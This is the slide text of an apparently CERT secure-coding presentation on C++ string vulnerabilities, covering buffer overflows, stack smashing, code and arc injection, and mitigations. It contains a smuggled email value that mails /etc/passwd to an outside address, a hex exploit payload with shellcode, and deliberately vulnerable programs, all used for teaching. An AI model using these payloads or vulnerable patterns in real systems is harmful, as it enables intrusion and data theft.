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About this Presentation
Presentation assumes basic C++ programming 
skills but does not assume in-depth knowledge 
of software security

Ideas generalize but examples are specific to
Microsoft Visual Studio
Linux/GCC
32-bit Intel Architecture (IA-32)

Material in this presentation was borrowed 
from the Addison-Wesley book 
Secure Coding in C and C++
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Strings
Software vulnerabilities and exploits are caused by 
weaknesses in

string representation
string management
string manipulation

Strings are a fundamental concept in software 
engineering, but they are not a built-in type in C++

C++ programmers must choose between using 
std::basic_string
null-terminated byte strings (NTBS)
other string types
some combination of the above 
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std::basic_string

Standardization of C++ has promoted the standard 
template class std::basic_string

The basic_string class represents a sequence of 
characters. 

Supports sequence operations as well as string 
operations such as search and concatenation.
parameterized by character type, and by that type's 
character traits
string is a typedef for basic_string<char>
wstring is a typedef for basic_string<wchar_t>
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Null-Terminated Byte Strings (NTBS)
Null-terminated byte strings consist of a contiguous sequence of 
characters terminated by and including the first null character.

Null-terminated byte string attributes
A pointer to a string points to its initial character. 
String length is the number of bytes preceding the null character.
The string value is the sequence of the values of the contained 
characters, in order.
The number of bytes required to store a string is the number of 
characters plus one (times the size of each character).

h e l l o \0

length
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Null-Terminated Byte Strings
Null-terminated byte strings are still a common 
data type in C++ programs.

Using null-terminated byte strings is 
unavoidable, except in rare circumstances: 

no string literals 
no interaction with existing libraries that accept 
null-terminated byte strings  
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Common String Manipulation Errors

Programming with null-terminated byte strings 
is error prone. 

Common errors include 
unbounded string copies
null-termination errors
truncation
write outside array bounds
improper data sanitization
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Unbounded String Copies
Occur when data is copied from an unbounded source 
to a fixed-length character array

1. int main() {

2. char Password[80];

3. puts("Enter 8 character password:");

4. gets(Password); 

...

5. }
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Unbounded Copy 2
You can also accomplish this using iostream

1. #include <iostream>

2. using namespace std;

3. int main() {

4. char buf[12];

5. cin >> buf;

6. cout << "echo: " << buf << endl;

7. }

Inputting more than 11 
characters results in an 
out-of-bounds write
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Set width field to maximum input size
1. #include <iostream>

2. using namespace std;

3. int main() {

4. char buf[12];

5. cin.width(12);

6. cin >> buf;

7. cout << "echo: " << buf << endl;

8. }

Simple Solution

The extraction operation can be 
limited to a specified number of 
characters if ios_base::width
is set to a value > 0.

After a call to the extraction 
operation, the value of the 
width field is reset to 0.
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Copying and Concatenation 
It is easy to make errors when copying and 
concatenating strings because standard functions do 
not know the size of the destination buffer.
1. int main(int argc, char *argv[]) {

2. char name[2048];

3. strcpy(name, argv[1]);

4. strcat(name, " = ");

5. strcat(name, argv[2]);

...

6. }
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Simple Solution
To create a malleable copy of a string argument
if (argc < 2) {

cerr<<"usage "<<argv[0]<<": <str>"<<endl;

exit(1);

}

string argv1(argv[1]);
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Null-Termination Errors
Another common problem with null-terminated byte 

strings is a failure to properly null terminate.

int main(int argc, char* argv[]) {

char a[16];

char b[16];

char c[32];

strncpy(a, "0123456789abcdef", sizeof(a));

strncpy(b, "0123456789abcdef", sizeof(b));

strncpy(c, a, sizeof(c));

}

Neither a[] nor  b[] are 
properly terminated
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From ISO/IEC 9899:1999
The strncpy function 

char *strncpy(char * restrict s1,

const char * restrict s2,

size_t n);

copies not more than n characters (characters that 
follow a null character are not copied) from the array 
pointed to by s2 to the array pointed to by s1.260)

260) Thus, if there is no null character in the first n characters of the 
array pointed to by s2, the result will not be null terminated.



9

© 2006 Carnegie Mellon University 17

String Truncation
Functions that restrict the number of bytes are 

often recommended to mitigate buffer 
overflow vulnerabilities.
strncpy() instead of strcpy()
fgets() instead of gets()
snprintf() instead of sprintf()

Strings that exceed the specified limits are 
truncated.

Truncation results in a loss of data, and in 
some cases, leads to software 
vulnerabilities.

© 2006 Carnegie Mellon University 18

Write Outside Array Bounds
1. int main(int argc, char *argv[]) {

2. int i = 0;

3. char buff[128];

4. char *arg1 = argv[1];

5. while (arg1[i] != '\0' ) {

6. buff[i] = arg1[i]; 

7. i++;

8. }

9. buff[i] = '\0';

10. printf("buff = %s\n", buff);

11. }

Because NTBSs are 
character arrays, 
it is possible to 
perform an 
insecure string 
operation without 
invoking a 
function.
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Improper Data Sanitization
An application inputs an email address from a 
user and passes it as an argument to a complex 
subsystem (such as a command shell):
string email;

cin >> email;

string command = "/bin/mail " + email + " < /tmp/email";

system(command.c_str());

The risk is the user enters the following string as 
an email address:
bogus@addr.com; cat /etc/passwd | mail some@badguy.net
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basic_string class
Concatenation is not an issue

string str1 = "hello, "; 
string str2 = "world"; 
string str3 = str1 + str2;

Size is not an issue

string str1 = "ten chars."; 
int len = str1.length();  
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basic_string iterators
Iterators can be used to iterate over the 
contents of a string:
string::iterator i; 
for(i=str.begin(); str != str.end(); i++) { 
cout<<*i; 

}

References, pointers, and iterators referencing 
string objects are invalidated by operations that 
modify the string—which can lead to errors
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Invalid Iterator
char input[] = "bogus@addr.com; cat /etc/passwd"; 

string email; 

string::iterator loc = email.begin(); 

// copy into string converting ";" to " " 

for (size_t i=0; i <= strlen(input); i++) { 

if (input[i] != ';') { 

email.insert(loc++, input[i]); 

} 

else { 

email.insert(loc++, ' '); 

} 

} // end string for each element in NTBS 

Iterator loc
invalidated 
after first call 
to insert()
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Valid Iterator
char input[] = "bogus@addr.com; cat /etc/passwd"; 

string email; 

string::iterator loc = email.begin(); 

// copy into string converting ";" to " " 

for (size_t i=0; i <= strlen(input); i++) { 

if (input[i] != ';') { 

loc = email.insert(loc, input[i]); 

} 

else { 

loc = email.insert(loc, ' '); 

} 

++loc; 

} // end string for each element in NTBS 

The value of the 
iterator loc is 
updated as a result 
of each insertion
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basic_string Element Access
The index operator[] is unchecked 
string bs("01234567");

size_t i = f();

bs[i] = '\0';

The at() method behaves in a similar fashion to the index operator[]
but throws an out_of_range exception if pos >= size()
string bs("01234567");

try {

size_t i = f();

bs.at(i) = '\0';

}

catch (...) {

cerr << "Index out of range" << endl;

}
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Getting a Null-Terminated Byte String
Often necessary for use with 

a standard library function that takes a char *
legacy code that expects a char *
string str = x;    
cout << strlen(str.c_str());

The c_str() method returns a const value
calling free() or delete on the returned string is an 
error.
Modifying the returned string can also lead to an error.

If you need to modify the string, make a copy first and 
modify the copy
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Beyond basic_string
std::basic_string is implemented in various 
ways on different platforms and is consequently 
subject to different types of problems depending on

threading model
use of reference counting
etc. 

Andrei Alexandrescu's flex_string is a drop-in 
replacement for std::basic_string

policy-based design allows the user to specify to a 
large degree how it's implemented.
most local character buffers could be more efficiently 
implemented with a version of flex_string that 
uses the small-string optimization.
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Program Stacks
A program stack is used to keep track of 
program execution and state by storing

return address in the calling function
arguments to the functions 
local variables (temporary)
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Stack Segment
The stack supports 

nested invocation calls

Information pushed on 
the stack as a result of 
a function call is called 
a frame 

Stack frame
for main()

Low memory

High memory

Stack frame
for a()

Stack frame
for b()

Unallocated

b() {…}
a() {
b();

}
main() {
a();

}

A stack frame is 
created for each 
subroutine and 
destroyed upon 
return.



16

© 2006 Carnegie Mellon University 31

Stack Frames
The stack is used to store 

the return address in the calling function
actual arguments to the subroutine 
local (automatic) variables

The address of the current frame is stored in a 
register (EBP on IA-32). 

The frame pointer is used as a fixed point of reference 
within the stack.

The stack is modified during
function calls
function initialization 
return from a function  
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push 4

Push 1st arg on 
stack

EIP = 00411A82 ESP = 0012FE08 EBP = 0012FEDC

call function (411A29h) Push the return 
address on stack 
and jump to 
address

EIP = 00411A29 ESP = 0012FD40 EBP = 0012FE00

Function Calls

function(4, 2);

EIP = 00411A7E ESP = 0012FE10 EBP = 0012FEDC

push 2

Push 2nd arg on stack

EIP = 00411A80 ESP = 0012FE0C EBP = 0012FEDC
EIP: Extended 
Instruction Pointer

ESP: Extended 
Stack Pointer

EBP: Extended 
Base Pointer
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Function Initialization

void function(int arg1, int arg2) {

EIP = 00411A20 ESP = 0012FE04 EBP = 0012FEDC

push ebp Saves the frame pointer

EIP = 00411A21 ESP = 0012FE00 EBP = 0012FEDC

mov ebp, esp Frame pointer for subroutine is 
set to current stack pointer

EIP = 00411A23 ESP = 0012FE00 EBP = 0012FE00

sub esp, 44h Allocates space for local 
variables

EIP = 00411A29 ESP = 0012FD40 EBP = 0012FE00
EIP: Extended 
Instruction Pointer

ESP: Extended 
Stack Pointer

EBP: Extended 
Base Pointer
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Function Return

return();

EIP = 00411A47 ESP = 0012FD40 EBP = 0012FE00

mov esp, ebp

Restores the stack pointer

EIP = 00411A49 ESP = 0012FE00 EBP = 0012FE00

pop ebp
Restores the frame pointer

EIP = 00411A4A ESP = 0012FE04 EBP = 0012FEDC

ret Pops return address off the stack 
and transfers control to that location

EIP = 00411A87 ESP = 0012FE08 EBP = 0012FEDC
EIP: Extended 
Instruction Pointer

ESP: Extended 
Stack Pointer

EBP: Extended 
Base Pointer
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EIP = 00411A87 ESP = 0012FE08 EBP = 0012FEDC

Return to Calling Function

function(4, 2);
push 2
push 4
call function (411230h) 
add  esp,8

Restores stack 
pointer

EIP = 00411A8A ESP = 0012FE10 EBP = 0012FEDC

EIP: Extended 
Instruction Pointer

ESP: Extended 
Stack Pointer

EBP: Extended 
Base Pointer
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Sample Program
bool IsPasswordOK() {

char Password[12]; // Memory storage for pwd

gets(Password);    // Get input from keyboard

if (!strcmp(Password,"goodpass")) return(true); // Password Good

else return(false); // Password Invalid

}

int main() {

bool PwStatus;              // Password Status

puts("Enter Password:");    // Print

PwStatus=IsPasswordOK();  // Get & Check Password

if (!PwStatus) {

puts("Access denied"); // Print

exit(-1);              // Terminate Program

}

else puts("Access granted");// Print

}
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Stack Before Call to IsPasswordOK()

Caller EBP – Frame Ptr OS (4 bytes)

Storage for PwStatus (4 bytes)

Return Addr of main – OS (4 Bytes)
…

puts("Enter Password:"); 
PwStatus=IsPasswordOK();  
if (!PwStatus) {

puts("Access denied");
exit(-1);

}
else

puts("Access granted");

Stack
ESP

Code
EIP
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Stack During IsPasswordOK() Call

Caller EBP – Frame Ptr main 
(4 bytes)

Caller EBP – Frame Ptr OS 
(4 bytes)

Storage for PwStatus (4 bytes)

Return Addr of main – OS (4 Bytes)

…

Return Addr Caller – main (4 Bytes)

Storage for Password (12 Bytes)
puts("Enter Password:"); 
PwStatus=IsPasswordOK();
if (!PwStatus) {

puts("Access denied");
exit(-1);

}
else puts("Access granted");

bool IsPasswordOK() {
char Password[12]; 

gets(Password);    
if (!strcmp(Password, "goodpass"))

return(true);
else return(false)

}

Note: The stack grows and shrinks 
as a result of function calls made 
by IsPasswordOK().

Stack
ESP

Code

EIP
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Stack After IsPasswordOK() Call 
puts("Enter Password:"); 
PwStatus = IsPasswordOk();
if (!PwStatus) {

puts("Access denied");
exit(-1);

}
else puts("Access granted");

Caller EBP – Frame Ptr OS (4 bytes)

Caller EBP – Frame Ptr main 
(4 bytes)

Storage for PwStatus (4 bytes)

Return Addr of main – OS (4 Bytes)

…

Return Addr Caller – main (4 Bytes)

Storage for Password (12 Bytes)Stack

EIP
Code

ESP
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Sample Program Runs
Run #1 Correct Password

Run #2 Incorrect Password
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What is a Buffer Overflow?
A buffer overflow occurs when data is written 
outside of the boundaries of the memory 
allocated to a particular data structure.

Destination
Memory

Source
Memory

Allocated Memory (12 Bytes) Other Memory

16 Bytes of Data

Copy 
Operation
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Buffer Overflows
Are caused when buffer boundaries are 
neglected and unchecked. 

Can occur in any memory segment

Can be exploited to modify a 
variable
data pointer
function pointer
return address on the stack
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Smashing the Stack
Occurs when a buffer overflow overwrites data 
in the memory allocated to the execution stack

Successful exploits can overwrite the return 
address on the stack, allowing execution of 
arbitrary code on the targeted machine.

This is an important class of vulnerability 
because of the

occurrence frequency
potential consequences
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The Buffer Overflow 1
What happens if we input 
a password with more 
than 11 characters ? 

* CRASH *
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The Buffer Overflow 2

bool IsPasswordOK() {
char Password[12];

gets(Password);
if (!strcmp(Password,"badprog"))

return(true);
else return(false)

}

Return Addr of main – OS (4 Bytes)

Caller EBP – Frame Ptr main 
(4 bytes)

“3456”

Storage for PwStatus (4 bytes)

“\0”
Caller EBP – Frame Ptr OS 
(4 bytes)

…

Return Addr Caller – main (4 Bytes)

“7890”

Storage for Password (12 Bytes)

“123456789012”

Stack

The return address and other data on 
the stack is overwritten because the 
memory space allocated for the 
password can only hold a maximum of 
11 characters plus the NULL terminator.

EIP
ESP
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The Vulnerability

A specially crafted string “1234567890123456j►*!” 
produced the following result.

What happened ?
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What Happened ?
“1234567890123456j►*!” 
overwrites 9 bytes of memory on 
the stack, changing the caller’s 
return address, skipping lines 3-5,  
and starting execution at line 6. Caller EBP – Frame Ptr main (4 bytes)

“3456”

Storage for PwStatus (4 bytes)

“\0”
Caller EBP – Frame Ptr OS (4 bytes)

Return Addr of main – OS (4 Bytes)

Return Addr Caller – main (4 Bytes)

“W►*!” (return to line 6 was line 3)

Storage for Password (12 Bytes)

“123456789012”

Stack

puts("Access denied");4

StatementLine

else
puts("Access granted");

6

exit(-1); 5

if (!PwStatus)3

PwStatus=ISPasswordOK();2

puts("Enter Password:");1

Note: This vulnerability also could have been exploited to execute arbitrary 
code contained in the input string.
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Question

Q: What is the difference 
between code and data?

A: Absolutely nothing.
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Code Injection
Attacker creates a malicious argument—a 
specially crafted string that contains a pointer 
to malicious code provided by the attacker

When the function returns, control is 
transferred to the malicious code. 

Injected code runs with the permissions of the 
vulnerable program when the function returns. 
Programs running with root or other elevated 
privileges are normally targeted.
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Malicious Argument
Must be accepted by the vulnerable program 
as legitimate input.

The argument, along with other controllable 
inputs, must result in execution of the 
vulnerable code path.

The argument must not cause the program to 
terminate abnormally before control is passed 
to the malicious code.
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./vulprog < exploit.bin
The get password program can be exploited to 
execute arbitrary code by providing the following 
binary data file as input:
000  31 32 33 34 35 36 37 38-39 30 31 32 33 34 35 36 "1234567890123456"

010  37 38 39 30 31 32 33 34-35 36 37 38 E0 F9 FF BF "789012345678a· +"

020  31 C0 A3 FF F9 FF BF B0-0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"

030  F9 FF BF 8B 15 FF F9 FF-BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"

040  31 31 31 2F 75 73 72 2F-62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “

This exploit is specific to Red Hat Linux 9.0 and 
GCC.

© 2006 Carnegie Mellon University 54

Mal Arg Decomposed 1

000  31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"

010  37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"

020  31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"

030  F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"

040  31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “

The first 16 bytes of binary data fill the 
allocated storage space for the password. 

NOTE: The version of GCC used allocates stack data 
in multiples of 16 bytes.
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Mal Arg Decomposed 2

000  31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"

010  37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"

020  31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"

030  F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"

040  31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal 

The next 12 bytes of binary data fill the storage allocated by 
the compiler to align the stack on a 16-byte boundary. 
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Mal Arg Decomposed 3

000  31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"

010  37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"

020  31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"

030  F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"

040  31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “

This value overwrites the return address on the stack to 
reference injected code.
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Malicious Code
The object of the malicious argument is to transfer 
control to the malicious code.

may be included in the malicious argument (as in this 
example)
may be injected elsewhere during a valid input 
operation
can perform any function that can otherwise be 
programmed
may simply open a remote shell on the compromised 
machine 
for these reasons, malicious code is often referred to 
as shellcode.
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Sample Shell Code
xor %eax,%eax #set eax to zero

mov %eax,0xbffff9ff #set to NULL word

xor %eax,%eax #set eax to zero

mov %eax,0xbffff9ff #set to NULL word

mov $0xb,%al #set code for execve

mov $0xb,%al #set code for execve

mov $0xbffffa03,%ebx #ptr to arg 1

mov $0xbffff9fb,%ecx #ptr to arg 2

mov 0xbffff9ff,%edx  #ptr to arg 3

mov $0xb,%al #set code for execve

mov $0xbffffa03,%ebx #ptr to arg 1

mov $0xbffff9fb,%ecx #ptr to arg 2

mov 0xbffff9ff,%edx  #ptr to arg 3

int $80 # make system call to execve

arg 2 array pointer array

char * []={0xbffff9ff, “1111”}; “/usr/bin/cal\0”
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Create a Zero

xor %eax,%eax #set eax to zero

mov %eax,0xbffff9ff # set to NULL word

… 

Create a zero value.
Because the exploit cannot contain null characters until the last 
byte, the null pointer must be set by the exploit code.

Use it to null terminate the argument list. 
necessary because an argument to a system call
consists of a list of pointers terminated by a null pointer
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Shell Code
xor %eax,%eax #set eax to zero

mov %eax,0xbffff9ff #set to NULL word

mov $0xb,%al #set code for execve

… 

The system call is set to 0xb, 
which equates to the execve()
system call in Linux.
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Shell Code
…

mov $0xb,%al #set code for execve

mov $0xbffffa03,%ebx #arg 1 ptr

mov $0xbffff9fb,%ecx #arg 2 ptr

mov 0xbffff9ff,%edx  #arg 3 ptr

… 

arg 2 array pointer array

char * []={0xbffff9ff

“1111”}; 

“/usr/bin/cal\0”

Data for the arguments is also included in the shellcode.

points to a NULL byte

changed to 0x00000000
terminates ptr array and used 
for arg3

sets up three 
arguments for 
the execve()
call
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Shell Code
…

mov $0xb,%al #set code for execve

mov $0xbffffa03,%ebx #ptr to arg 1

mov $0xbffff9fb,%ecx #ptr to arg 2

mov 0xbffff9ff,%edx  #ptr to arg 3

int $80 # make system call to execve

…

The execve() system call results in 
execution of the Linux calendar program.
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Arc Injection
Arc injection transfers control to code that 
already exists in the program’s memory space.

refers to how exploits insert a new arc (control-
flow transfer) into the program’s control-flow 
graph as opposed to injecting code
can install the address of an existing function 
(such as system() or exec(), which can be 
used to execute programs on the local system
even more sophisticated attacks possible 
through use of this technique
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Vulnerable Program
1. #include <cstring>

2. int get_buff(char *user_input){

3. char buff[4];

4. memcpy(buff, user_input, strlen(user_input)+1);

5. return 0;

6. }

7. int main(int argc, char *argv[]){

8. get_buff(argv[1]);

9. return 0;

10. }

© 2006 Carnegie Mellon University 66

Exploit
Overwrites return address with address of 
existing function

Creates stack frames to chain function calls

Recreates original frame to return to program 
and resume execution without detection
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Stack Before and After Overflow

ebp (frame 2)
f() address

(leave/ret)address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

(leave/ret)address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

esp

ebpebp (main)
return addr(main)

buff[4]esp
ebp

stack frame main

Before After

mov esp, ebp
pop ebp
ret 
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get_buff() Returns

ebp (frame 2)
f() address

leave/ret address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

leave/ret address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

mov esp, ebp
pop ebp
ret 

ebp
esp

eip
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get_buff() Returns

ebp (frame 2)
f() address

leave/ret address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

leave/ret address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

mov esp, ebp
pop ebp
ret 

esp

eip

ebp
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get_buff() Returns

ebp (frame 2)
f() address

leave/ret address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

leave/ret address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

mov esp, ebp
pop ebp
ret 

esp

eip

ebp
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get_buff() Returns

ebp (frame 2)
f() address

leave/ret address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

leave/ret address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

mov esp, ebp
pop ebp
ret 

esp

ebp

ret instruction 
transfers control 
to f()
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f() Returns

ebp (frame 2)
f() address

leave/ret address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

leave/ret address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

mov esp, ebp
pop ebp
ret 

esp

ebp

f() returns 
control to leave / 
return sequence

eip
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f() Returns

ebp (frame 2)
f() address

leave/ret address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

leave/ret address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

mov esp, ebp
pop ebp
ret 

esp ebp

eip
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f() Returns

ebp (frame 2)
f() address

leave/ret address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

leave/ret address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

mov esp, ebp
pop ebp
ret 

esp

ebp

eip
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f() Returns

ebp (frame 2)
f() address

leave/ret address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

leave/ret address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

mov esp, ebp
pop ebp
ret 

esp

ebp

ret instruction 
transfers control 
to g()
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g() Returns

ebp (frame 2)
f() address

leave/ret address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

leave/ret address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

mov esp, ebp
pop ebp
ret 

g() returns control 
to leave / return 
sequence

eip

ebp

esp
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g() Returns

ebp (frame 2)
f() address

leave/ret address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

leave/ret address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

mov esp, ebp
pop ebp
ret 

eip

ebpesp
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g() Returns

ebp (frame 2)
f() address

leave/ret address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

leave/ret address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

mov esp, ebp
pop ebp
ret 

eip

esp

Original ebp
restored



40

© 2006 Carnegie Mellon University 79

g() Returns

ebp (frame 2)
f() address

leave/ret address
f() argptr

"f() arg data"
ebp (frame 3)
g()address

leave/ret address
g() argptr

"g() arg data"

return addr(main)
ebp (orig)

buff[4]

Frame 
1

Frame 
2

Original
Frame

mov esp, ebp
pop ebp
ret 

ret instruction 
returns 

control to 
main()
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Why is This Interesting?
An attacker can chain together multiple 
functions with arguments.

Exploit consists entirely of existing code
No code is injected.
Memory based protection schemes cannot 
prevent arc injection.
Larger overflows are not required.
The original frame can be restored to prevent 
detection.
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String Agenda
Strings

Common String Manipulation Errors

String Vulnerabilities

Mitigation Strategies

Summary
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Mitigation Strategies
Include strategies designed to 

prevent buffer overflows from occurring 
detect buffer overflows and securely recover 
without allowing the failure to be exploited

Prevention strategies can 
statically allocate space
dynamically allocate space
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String Agenda
Strings

Common String Manipulation Errors

String Vulnerabilities

Mitigation Strategies

Summary
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Mitigation Strategies
basic_string class 

Input validation

ISO/IEC “Security” TR 24731
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std::basic_string

The basic_string class is less prone to 
security vulnerabilities than null-terminated byte 
strings.

However, some mistakes are still common
Using an invalidated or uninitialized iterator
Passing an out-of-bounds index
Using an iterator range that really isn’t a range
Passing an invalid iterator position
Using an invalid ordering
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Checked STL Implementation
Most checked STL implementations detect 
common errors automatically

Use a checked STL implementation (even if 
only used restrictively)

At a minimum, run on a single platform during 
pre-release testing using your full complement
of tests
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Mitigation Strategies
basic_string class 

Input validation

ISO/IEC “Security” TR 24731
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Input Validation
Buffer overflows are often the result of unbounded string 
or memory copies. 

Buffer overflows can be prevented by ensuring that input 
data does not exceed the size of the smallest buffer in 
which it is stored.
1. int myfunc(const char *arg) {

2. char buff[100];

3. if (strlen(arg) >= sizeof(buff)) {

4. abort();

5. }

6. }



45

© 2006 Carnegie Mellon University 89

ISO/IEC “Security” TR 24731
Work by the international standardization 
working group for the programming language 
C (ISO/IEC JTC1 SC22 WG14) 

ISO/IEC TR 24731 defines less error-prone 
versions of C standard functions:

strcpy_s() instead of strcpy()
strcat_s() instead of strcat()
strncpy_s() instead of strncpy()
strncat_s() instead of strncat()
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ISO/IEC “Security” TR 24731 Goals
Mitigate risk of

buffer overrun attacks 
default protections associated with program-created file

Do not produce unterminated strings.

Do not unexpectedly truncate strings.

Preserve the null terminated string data type.

Support compile-time checking.

Make failures obvious.

Have a uniform pattern for the function parameters and 
return type.
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strcpy_s() Function
Copies characters from a source string to a destination 
character array up to and including the terminating null 
character

Has the signature

errno_t strcpy_s(

char * restrict s1,
rsize_t s1max,
const char * restrict s2);

Similar to strcpy() with extra argument of type rsize_t
that specifies the maximum length of the destination buffer

Only succeeds when the source string can be fully copied 
to the destination without overflowing the destination buffer
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Runtime-Constraints
The set_constraint_handler_s() function sets 
the function (handler) called when a library function 
detects a runtime-constraint violation.

The behavior of the default handler is implementation-
defined, and it may cause the program to exit or abort.

There are two pre-defined handlers (in addition to the 
default handler)

abort_handler_s() writes a message on the 
standard error stream then calls abort()
ignore_handler_s() function does not write to any 
stream. It simply returns to its caller.
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strcpy_s() Example
int main(int argc, char* argv[]) {

char a[16];

char b[16];

char c[24];

strcpy_s(a, sizeof(a), "0123456789abcdef");

strcpy_s(b, sizeof(b), "0123456789abcdef");

strcpy_s(c, sizeof(c), a);

strcat_s(c, sizeof(c), b);

}

strcpy_s() fails and generates a 
runtime constraint error
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ISO/IEC TR 24731 Summary
Already available in Microsoft Visual C++ 2005

Functions are still capable of overflowing a 
buffer if the maximum length of the destination 
buffer is incorrectly specified.

The ISO/IEC TR 24731 functions are
not “fool proof”
undergoing standardization but may evolve
useful in 
– preventive maintenance
– legacy system modernization
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String Agenda
Strings

Common String Manipulation Errors

String Vulnerabilities

Mitigation Strategies

Summary
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String Summary
Buffer overflows occur frequently in C++ due to

errors manipulating null-terminated byte strings
lack of bounds checking

The basic_string class is less error prone 
than C-style strings but not error-proof

String functions defined by ISO/IEC “Security” 
TR 24731 are useful for 

legacy system remediation
manipulation of C-style strings in C++
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Questions
about
Strings
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For More Information
Visit the CERT® web site     

http://www.cert.org/secure-coding/
Contact Presenter

Robert C. Seacord rcs@cert.org
Contact CERT Coordination Center

Software Engineering Institute
Carnegie Mellon University
4500 Fifth Avenue
Pittsburgh PA 15213-3890

Hotline:  412-268-7090
CERT/CC personnel answer 8:00 a.m.–5:00 p.m.
and are on call for emergencies during other hours.

Fax:       412-268-6989

E-mail:     cert@cert.org


